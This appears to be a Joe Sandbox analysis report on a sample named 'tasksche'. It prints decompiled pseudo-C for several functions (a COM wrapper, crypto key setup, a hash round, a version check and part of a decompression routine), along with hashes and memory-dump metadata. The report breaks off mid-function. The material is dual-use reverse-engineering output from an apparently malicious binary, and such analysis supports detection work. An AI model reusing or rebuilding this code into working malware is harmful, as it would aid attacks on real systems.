Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction ID: 3562be7dcc5a33f83423fe2ddc28cf6e78eed116dec30ec79901489c8d2199a3
Opcode Fuzzy Hash: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction Fuzzy Hash: CBA11472A00208EBDB04DF65C581BED77B5AB94304F24447FE942EB282C77C9AC2DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00419BB0 Relevance: 1.6, APIs: 1, Instructions: 89
comCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00419BB0(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* _v8;
				void* _v12;
				char* _t34;
				intOrPtr* _t36;
				intOrPtr* _t38;
				intOrPtr* _t40;
				intOrPtr* _t42;
				intOrPtr* _t44;
				intOrPtr* _t46;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				void* _t56;
				void* _t57;
				intOrPtr _t63;

				_t34 =  &_v8;
				_t57 = 0;
				__imp__CoCreateInstance(0x42b1f8, 0, 1, 0x42b148, _t34, _t56, __ecx, __ecx);
				if(_t34 >= 0) {
					_t36 = _v8;
					_push( &_v12);
					_push(0x42b1e8);
					_push(_t36);
					if( *((intOrPtr*)( *_t36))() >= 0) {
						if(_a4 != 0) {
							_t54 = _v12;
							 *((intOrPtr*)( *_t54 + 0x14))(_t54, _a12, 2);
						}
						_t40 = _v8;
						 *((intOrPtr*)( *_t40 + 0x50))(_t40, _a8);
						if(_a20 != _t57) {
							_t52 = _v8;
							 *((intOrPtr*)( *_t52 + 0x1c))(_t52, _a20);
						}
						_t42 = _v8;
						_t63 =  *_t42;
						_push(_t57);
						if(_a24 != _t57) {
							_push(_a24);
						} else {
							_push(0x42a73c);
						}
						 *((intOrPtr*)(_t63 + 0x44))(_t42);
						if(_a28 != _t57) {
							_t50 = _v8;
							 *((intOrPtr*)( *_t50 + 0x2c))(_t50, _a28);
						}
						if(_a16 != _t57) {
							_t48 = _v8;
							 *((intOrPtr*)( *_t48 + 0x24))(_t48, _a16);
						}
						_t44 = _v12;
						_push(1);
						_push(_a12);
						_push(_t44);
						if( *((intOrPtr*)( *_t44 + 0x18))() >= 0) {
							_t57 = 1;
						}
						_t46 = _v12;
						 *((intOrPtr*)( *_t46 + 8))(_t46);
					}
					_t38 = _v8;
					 *((intOrPtr*)( *_t38 + 8))(_t38);
				}
				return _t57;
			}

0x00419bb6
0x00419bc1
0x00419bc9
0x00419bd1
0x00419bd7
0x00419bdf
0x00419be0
0x00419be5
0x00419bea
0x00419bf3
0x00419bf5
0x00419c00
0x00419c00
0x00419c03
0x00419c0c
0x00419c12
0x00419c14
0x00419c1d
0x00419c1d
0x00419c20
0x00419c23
0x00419c25
0x00419c29
0x00419c32
0x00419c2b
0x00419c2b
0x00419c2b
0x00419c36
0x00419c3c
0x00419c3e
0x00419c47
0x00419c47
0x00419c4d
0x00419c4f
0x00419c58
0x00419c58
0x00419c5b
0x00419c60
0x00419c62
0x00419c65
0x00419c6b
0x00419c6d
0x00419c6d
0x00419c6f
0x00419c75
0x00419c75
0x00419c78
0x00419c7e
0x00419c7e
0x00419c85

APIs

CoCreateInstance.OLE32(0042B1F8,00000000,00000001,0042B148,?), ref: 00419BC9

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction ID: e9337f94160ec10d5a134cda80235c1f61728acff05639409476ed3799cc72ed
Opcode Fuzzy Hash: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction Fuzzy Hash: FC311875A00209EFCF04CFA0C898DAA7BB9EF49304B204499F942DB250D739EE51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA52 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040CA52(signed char* __ecx, intOrPtr __edx, void* __edi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				unsigned int _v16;
				char _v24;
				char _v40;
				void* _t32;
				signed int _t33;
				void* _t34;
				void* _t36;
				void* _t39;
				intOrPtr _t41;
				char _t44;
				char _t47;
				intOrPtr _t48;
				signed int _t54;
				void* _t55;
				signed int _t57;
				intOrPtr* _t60;
				signed char* _t61;
				void* _t63;

				_t55 = __edi;
				_v8 = __ecx;
				_push(_t41);
				asm("cpuid");
				_t60 =  &_v24;
				 *_t60 = 1;
				 *((intOrPtr*)(_t60 + 4)) = _t41;
				 *((intOrPtr*)(_t60 + 8)) = 0;
				 *((intOrPtr*)(_t60 + 0xc)) = __edx;
				_t61 = _v8;
				 *_t61 = _v16 >> 0x00000019 & 0x00000001;
				_t32 = _a12 - 0x80;
				if(_t32 == 0) {
					_t47 = 0x10;
					_t61[4] = 0xa;
				} else {
					_t39 = _t32 - 0x40;
					if(_t39 == 0) {
						_t47 = 0x18;
						_t61[4] = 0xc;
					} else {
						if(_t39 != 0x40) {
							_t47 = _a4;
						} else {
							_t47 = 0x20;
							_t61[4] = 0xe;
						}
					}
				}
				_t33 = 0;
				if(_t47 <= 0) {
					L11:
					_t48 = _a16;
					_t71 = _t48;
					if(_t48 != 0) {
						_t34 = 0;
						__eflags = 0;
						do {
							_t61[_t34 + 8] =  *((intOrPtr*)(_t34 + _t48));
							_t34 = _t34 + 1;
							__eflags = _t34 - 0x10;
						} while (__eflags < 0);
						L15:
						_t36 = E0040C4FF(_t61, _t71,  &_v40);
						if(_a4 == 0) {
							_t36 = E0040C6C4(_t61);
						}
						return _t36;
					}
					_t20 =  &(_t61[8]); // 0x8
					E0041A820(_t55, _t20, _t48, 0x10);
					goto L15;
				} else {
					_push(_t55);
					do {
						_t44 =  *((intOrPtr*)(_t33 + _a8));
						_t54 = _t33 >> 2;
						_t57 = _t33 & 0x00000003;
						_t33 = _t33 + 1;
						 *((char*)(_t63 + _t57 - 0x24 + _t54 * 4)) = _t44;
					} while (_t33 < _t47);
					_pop(_t55);
					goto L11;
				}
			}

0x0040ca52
0x0040ca5b
0x0040ca60
0x0040ca61
0x0040ca64
0x0040ca67
0x0040ca69
0x0040ca6c
0x0040ca6f
0x0040ca75
0x0040ca7d
0x0040ca82
0x0040ca87
0x0040caad
0x0040caae
0x0040ca89
0x0040ca89
0x0040ca8c
0x0040caa1
0x0040caa2
0x0040ca8e
0x0040ca91
0x0040cab7
0x0040ca93
0x0040ca95
0x0040ca96
0x0040ca96
0x0040ca91
0x0040ca8c
0x0040caba
0x0040cabe
0x0040cade
0x0040cade
0x0040cae1
0x0040cae3
0x0040caf6
0x0040caf6
0x0040caf8
0x0040cafb
0x0040caff
0x0040cb00
0x0040cb00
0x0040cb05
0x0040cb0b
0x0040cb14
0x0040cb18
0x0040cb18
0x0040cb20
0x0040cb20
0x0040cae8
0x0040caec
0x00000000
0x0040cac0
0x0040cac0
0x0040cac1
0x0040cac4
0x0040cacb
0x0040cace
0x0040cad1
0x0040cad6
0x0040cad9
0x0040cadd
0x00000000
0x0040cadd

APIs

_memset.LIBCMT ref: 0040CAEC

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction ID: e1f0199fda650a5869103b9083c5b7a650503f912fa59dbaeb4dd54c60283149
Opcode Fuzzy Hash: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction Fuzzy Hash: 0721F672704209DFD724CF28D4817AA7BE5AB19300F10892FD896E73C2C678E9458B49

Uniqueness

Uniqueness Score: -1.00%

Function 00409C06 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409C06() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;

				_t12 =  *0x43003c; // 0xffffffff
				if(_t12 != 0xffffffff) {
					_t6 =  *0x4335d4; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					 *0x43003c = _t12;
					 *0x4335d4 = _t6;
					 *0x4335d0 = _v280.dwMinorVersion;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) +  *0x4335d0;
				}
			}

0x00409c09
0x00409c18
0x00409c56
0x00409c1a
0x00409c21
0x00409c2b
0x00409c31
0x00409c37
0x00409c43
0x00409c49
0x00409c4e
0x00409c4e
0x00409c5e
0x00409c71
0x00409c60
0x00409c6a
0x00409c6a

APIs

GetVersionExW.KERNEL32(?), ref: 00409C2B

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction ID: d7c6bb9a1732f6c2eece22a2b410928bcf9985e9f3444315991ea75afaaef588
Opcode Fuzzy Hash: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction Fuzzy Hash: E4F0F4B1A041088FDB28CF18E992A99B7F5A748305F1002A5D619D3390DA78AE81CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004234CE Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004234CE() {

				SetUnhandledExceptionFilter(E0042348C);
				return 0;
			}

0x004234d3
0x004234db

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002348C), ref: 004234D3

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction ID: 1b01da781a1f42b14bf088c4285091799bc00e9a7c54fca4454c541a30810ab4
Opcode Fuzzy Hash: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction Fuzzy Hash: 539002603521104746112BB06C1D51565A17F48617BD104A5B401C5054DA598621551B

Uniqueness

Uniqueness Score: -1.00%

Function 00404986 Relevance: 1.5, Strings: 1, Instructions: 245
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00404986(void* __eax, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void _v68;
				void _v132;
				void* _t219;
				signed int* _t220;
				void* _t223;
				signed int* _t226;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t233;
				signed int _t238;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				void* _t244;
				intOrPtr _t245;
				signed int _t252;
				signed int _t257;
				signed int _t259;
				signed int _t265;
				signed int _t270;
				signed int _t275;
				signed int _t280;
				signed int _t282;
				signed int _t283;
				signed int _t285;
				signed int _t289;
				signed int _t290;
				signed int _t293;
				signed int _t294;
				signed int _t300;
				signed int _t301;
				signed int _t303;
				signed int _t315;
				signed int _t316;
				signed int _t341;
				signed int _t346;
				signed int _t347;
				signed int _t348;
				signed int _t353;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				void* _t364;

				_t245 = _a4;
				_t233 = 0x10;
				memcpy( &_v132, __eax, _t233 << 2);
				_push(8);
				_t219 = memcpy( &_v68,  *(_t245 + 0xf4), 0 << 2);
				_t220 =  *(_t245 + 0xfc);
				_t238 =  *_t219 ^ 0x510e527f;
				_t341 =  *(_t219 + 4) ^ 0x9b05688c;
				_v8 = _t220[1] ^ 0x5be0cd19;
				_v36 = 0x6a09e667;
				_v32 = 0xbb67ae85;
				_v28 = 0x3c6ef372;
				_v24 = 0xa54ff53a;
				_v12 =  *_t220 ^ 0x1f83d9ab;
				_t223 = 0;
				while(1) {
					_t18 = _t223 + 0x42a4d0; // 0x3020100
					_t229 = _v68 +  *((intOrPtr*)(_t364 + ( *_t18 & 0x000000ff) * 4 - 0x80)) + _v52;
					_t24 = _t223 + 0x42a4d1; // 0x4030201
					_t252 = _t229 ^ _t238;
					asm("ror edx, 0x10");
					_v36 = _v36 + _t252;
					_t240 = _v52 ^ _v36;
					asm("ror ecx, 0xc");
					_t230 = _t229 +  *((intOrPtr*)(_t364 + ( *_t24 & 0x000000ff) * 4 - 0x80)) + _t240;
					_v68 = _t230;
					_t231 = _t230 ^ _t252;
					_t33 = _t223 + 0x42a4d2; // 0x5040302
					asm("ror ebx, 0x8");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t33 & 0x000000ff) * 4 - 0x80)) + _v48;
					_v36 = _v36 + _t231;
					_t241 = _t240 ^ _v36;
					_t257 = _v64 ^ _t341;
					_t44 = _t223 + 0x42a4d3; // 0x6050403
					asm("ror ecx, 0x7");
					asm("ror edx, 0x10");
					_v32 = _v32 + _t257;
					_v16 = _t257;
					_t259 = _v48 ^ _v32;
					_t315 = _v40;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t44 & 0x000000ff) * 4 - 0x80)) + _t259;
					_t346 = _v64 ^ _v16;
					asm("ror esi, 0x8");
					_v32 = _v32 + _t346;
					_v16 = _t346;
					_t347 = _v44;
					asm("ror edx, 0x7");
					_v48 = _t259 ^ _v32;
					_t64 = _t223 + 0x42a4d4; // 0x7060504
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t64 & 0x000000ff) * 4 - 0x80)) + _t347;
					_t265 = _v60 ^ _v12;
					asm("ror edx, 0x10");
					_v28 = _v28 + _t265;
					_t348 = _t347 ^ _v28;
					_v12 = _t265;
					_t76 = _t223 + 0x42a4d5; // 0x8070605
					asm("ror esi, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t76 & 0x000000ff) * 4 - 0x80)) + _t348;
					_t270 = _v60 ^ _v12;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t270;
					_v12 = _t270;
					_t88 = _t223 + 0x42a4d6; // 0x9080706
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t88 & 0x000000ff) * 4 - 0x80)) + _t315;
					_t275 = _v56 ^ _v8;
					asm("ror esi, 0x7");
					asm("ror edx, 0x10");
					_v24 = _v24 + _t275;
					_t316 = _t315 ^ _v24;
					_v44 = _t348 ^ _v28;
					_v8 = _t275;
					_t101 = _t223 + 0x42a4d7; // 0xa090807
					asm("ror edi, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t101 & 0x000000ff) * 4 - 0x80)) + _t316;
					_t280 = _v56 ^ _v8;
					asm("ror edx, 0x8");
					_v24 = _v24 + _t280;
					_v8 = _t280;
					_t113 = _t223 + 0x42a4d8; // 0xb0a0908
					_t282 = _v48;
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t113 & 0x000000ff) * 4 - 0x80)) + _t282;
					_t353 = _v68 ^ _v8;
					asm("ror edi, 0x7");
					asm("ror esi, 0x10");
					_v28 = _v28 + _t353;
					_t283 = _t282 ^ _v28;
					_v40 = _t316 ^ _v24;
					_t126 = _t223 + 0x42a4d9; // 0xc0b0a09
					asm("ror edx, 0xc");
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t126 & 0x000000ff) * 4 - 0x80)) + _t283;
					_v48 = _t283;
					_t285 = _v68 ^ _t353;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t285;
					_v8 = _t285;
					_t139 = _t223 + 0x42a4db; // 0xe0d0c0b
					asm("ror edx, 0x7");
					_v48 = _v48 ^ _v28;
					_t144 = _t223 + 0x42a4da; // 0xd0c0b0a
					_t289 = _v44;
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t144 & 0x000000ff) * 4 - 0x80)) + _t289;
					_t357 = _v64 ^ _t231;
					asm("ror esi, 0x10");
					_v24 = _v24 + _t357;
					_t290 = _t289 ^ _v24;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t139 & 0x000000ff) * 4 - 0x80)) + _t290;
					asm("ror edi, 0x8");
					_t358 = _v64 ^ _t357;
					_v24 = _v24 + _t358;
					_t161 = _t223 + 0x42a4dd; // 0xe0f0e0d
					asm("ror edx, 0x7");
					_v44 = _t290 ^ _v24;
					_t166 = _t223 + 0x42a4dc; // 0xf0e0d0c
					_v20 = _t358;
					_t293 = _v40;
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t166 & 0x000000ff) * 4 - 0x80)) + _t293;
					_t362 = _v60 ^ _v16;
					asm("ror esi, 0x10");
					_v36 = _v36 + _t362;
					_t294 = _t293 ^ _v36;
					asm("ror edx, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t161 & 0x000000ff) * 4 - 0x80)) + _t294;
					asm("ror edi, 0x8");
					_t341 = _v60 ^ _t362;
					_v36 = _v36 + _t341;
					_t185 = _t223 + 0x42a4df; // 0x40a0e0f
					asm("ror edx, 0x7");
					_v40 = _t294 ^ _v36;
					_t190 = _t223 + 0x42a4de; // 0xa0e0f0e
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t190 & 0x000000ff) * 4 - 0x80)) + _t241;
					_t300 = _v56 ^ _v12;
					_t223 = _t223 + 0x10;
					asm("ror edx, 0x10");
					_v32 = _v32 + _t300;
					_t242 = _t241 ^ _v32;
					_v16 = _t341;
					asm("ror ecx, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t185 & 0x000000ff) * 4 - 0x80)) + _t242;
					asm("ror edi, 0x8");
					_t301 = _v56 ^ _t300;
					_v32 = _v32 + _t301;
					_v12 = _t301;
					asm("ror ecx, 0x7");
					_v52 = _t242 ^ _v32;
					if(_t223 > 0x90) {
						break;
					}
					_t238 = _v20;
				}
				_t244 = 0;
				do {
					_t226 =  *((intOrPtr*)(_a4 + 0xf4)) + _t244;
					_t303 =  *(_t364 + _t244 - 0x20) ^  *_t226;
					_t244 = _t244 + 4;
					 *_t226 = _t303 ^  *(_t364 + _t244 - 0x44);
				} while (_t244 < 0x20);
				return _t226;
			}

0x0040498f
0x0040499f
0x004049a3
0x004049ab
0x004049b1
0x004049b8
0x004049ce
0x004049d4
0x004049da
0x004049dd
0x004049e4
0x004049eb
0x004049f2
0x004049f9
0x004049fc
0x00404a03
0x00404a03
0x00404a14
0x00404a16
0x00404a23
0x00404a25
0x00404a28
0x00404a2e
0x00404a31
0x00404a36
0x00404a38
0x00404a3b
0x00404a3d
0x00404a4b
0x00404a4e
0x00404a51
0x00404a54
0x00404a5a
0x00404a5c
0x00404a67
0x00404a6a
0x00404a6d
0x00404a70
0x00404a76
0x00404a79
0x00404a7c
0x00404a81
0x00404a87
0x00404a8a
0x00404a8d
0x00404a93
0x00404a96
0x00404a99
0x00404a9c
0x00404a9f
0x00404aac
0x00404ab2
0x00404ab5
0x00404ab8
0x00404abb
0x00404abe
0x00404ac1
0x00404acc
0x00404ad1
0x00404ad7
0x00404ada
0x00404add
0x00404ae3
0x00404ae6
0x00404af3
0x00404af9
0x00404afc
0x00404aff
0x00404b02
0x00404b05
0x00404b08
0x00404b0b
0x00404b0e
0x00404b19
0x00404b1e
0x00404b24
0x00404b27
0x00404b2a
0x00404b30
0x00404b33
0x00404b3e
0x00404b43
0x00404b49
0x00404b4c
0x00404b4f
0x00404b52
0x00404b55
0x00404b58
0x00404b5b
0x00404b66
0x00404b6b
0x00404b6e
0x00404b74
0x00404b76
0x00404b79
0x00404b7c
0x00404b85
0x00404b90
0x00404b93
0x00404b96
0x00404ba1
0x00404ba6
0x00404bac
0x00404bae
0x00404bb1
0x00404bb4
0x00404bb7
0x00404bbc
0x00404bc4
0x00404bc7
0x00404bc9
0x00404bcf
0x00404bda
0x00404bdd
0x00404be0
0x00404be7
0x00404bee
0x00404bf3
0x00404bf9
0x00404bfc
0x00404bff
0x00404c02
0x00404c05
0x00404c0a
0x00404c12
0x00404c15
0x00404c17
0x00404c1d
0x00404c28
0x00404c2b
0x00404c2e
0x00404c3b
0x00404c41
0x00404c44
0x00404c47
0x00404c4a
0x00404c4d
0x00404c50
0x00404c53
0x00404c58
0x00404c60
0x00404c63
0x00404c65
0x00404c6b
0x00404c6e
0x00404c71
0x00404c79
0x00000000
0x00000000
0x00404a00
0x00404a00
0x00404c81
0x00404c84
0x00404c91
0x00404c93
0x00404c95
0x00404c9c
0x00404c9e
0x00404ca4

Strings

gj, xrefs: 004049DD

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction ID: d9eb52a2d6ff44a43e3580116b86408f9a206631cbab7b39ea8bb55ae5343344
Opcode Fuzzy Hash: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction Fuzzy Hash: 81C126B2D002289BDF44CF9AD8405EEFBF2BFC8310F2AC1A6D81477615D6346A529F91

Uniqueness

Uniqueness Score: -1.00%

Function 00416C3F Relevance: .8, Instructions: 835
COMMONCrypto

Download Yara Rule

C-Code - Quality: 74%

			E00416C3F(void* __ecx, unsigned int _a4) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t398;
				signed int _t399;
				unsigned int _t400;
				signed int _t403;
				intOrPtr* _t405;
				signed int _t407;
				unsigned int _t408;
				signed int _t411;
				signed int _t412;
				signed int* _t420;
				intOrPtr _t421;
				unsigned int _t423;
				unsigned int _t432;
				unsigned int _t434;
				signed int _t435;
				unsigned int _t438;
				signed int _t441;
				signed int _t442;
				signed int _t444;
				signed int _t445;
				signed int* _t446;
				char* _t447;
				unsigned int _t449;
				unsigned int _t451;
				signed int _t453;
				signed int _t456;
				signed int _t457;
				signed int _t464;
				unsigned int _t465;
				signed int _t468;
				signed int _t469;
				signed int* _t477;
				unsigned int _t479;
				unsigned int _t482;
				signed int _t483;
				unsigned int _t486;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				unsigned int _t492;
				signed int _t495;
				signed int _t496;
				signed int _t497;
				unsigned int _t498;
				signed int _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t515;
				intOrPtr _t517;
				void* _t521;
				signed int _t522;
				void* _t526;
				signed int _t527;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t537;
				void* _t539;
				intOrPtr* _t540;
				signed int _t541;
				intOrPtr* _t543;
				intOrPtr* _t544;
				void* _t547;
				signed int _t548;
				intOrPtr* _t551;
				signed int _t554;
				signed int _t555;
				signed int _t558;
				unsigned int _t559;
				void* _t561;
				signed int _t562;
				signed int _t565;
				intOrPtr* _t568;
				signed int _t569;
				signed int _t570;
				intOrPtr* _t571;
				signed int _t574;
				signed int _t576;
				unsigned int _t578;
				void* _t580;
				signed int _t583;
				signed int _t585;
				unsigned int _t587;
				void* _t589;
				signed int _t593;
				char* _t604;
				signed int _t605;
				void* _t608;
				void* _t612;
				signed int _t615;
				signed int _t618;
				unsigned int _t624;
				signed int _t625;
				unsigned int _t627;
				signed int _t633;
				unsigned int _t635;
				void* _t637;
				signed int _t640;
				signed int _t642;
				unsigned int _t648;
				signed int _t649;
				void* _t651;
				signed int _t656;
				unsigned int _t658;
				void* _t660;
				void* _t662;
				signed int _t665;
				void* _t668;
				void* _t670;
				signed int _t673;
				void* _t676;
				void* _t683;
				signed int _t686;
				signed int _t695;
				signed int _t696;
				signed int _t697;
				signed int _t713;
				signed int _t733;
				signed int _t736;
				signed int _t750;
				intOrPtr* _t753;
				intOrPtr* _t758;
				void* _t760;
				void* _t761;
				void* _t767;

				_t760 = __ecx;
				 *((char*)(__ecx + 0x4c58)) = 1;
				if( *((char*)(__ecx + 0x4c48)) != 0) {
					L4:
					_t758 = _t760 + 4;
					while(1) {
						 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
						if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
							goto L15;
						} else {
							_t540 = _t760 + 0x80;
						}
						while(1) {
							L7:
							_t767 =  *_t758 -  *_t540 +  *((intOrPtr*)(_t760 + 0x88)) - 1;
							if(_t767 <= 0 && (_t767 != 0 ||  *((intOrPtr*)(_t760 + 8)) <  *((intOrPtr*)(_t760 + 0x84)))) {
								break;
							}
							if( *((char*)(_t760 + 0x90)) != 0) {
								L104:
								return E00415346(_t760);
							}
							_push(_t540);
							_push(_t758);
							_t517 = E0041450F(_t540, _t760);
							if(_t517 == 0) {
								L105:
								return _t517;
							} else {
								_t521 = E0041462B(_t540, _t760, _t758, _t540, _t760 + 0x94);
								if(_t521 != 0) {
									continue;
								} else {
									return _t521;
								}
							}
						}
						_t522 = E004123EB(_t540, _t760);
						__eflags = _t522;
						if(_t522 == 0) {
							goto L104;
						}
						L15:
						_t398 =  *((intOrPtr*)(_t760 + 0x4b30));
						_t574 =  *(_t760 + 0x70);
						__eflags = (_t398 - _t574 &  *(_t760 + 0xe6dc)) - 0x1004;
						if((_t398 - _t574 &  *(_t760 + 0xe6dc)) >= 0x1004) {
							L21:
							_t399 = E0040978C(_t758);
							_t527 =  *(_t760 + 0x118);
							_t400 = _t399 & 0x0000fffe;
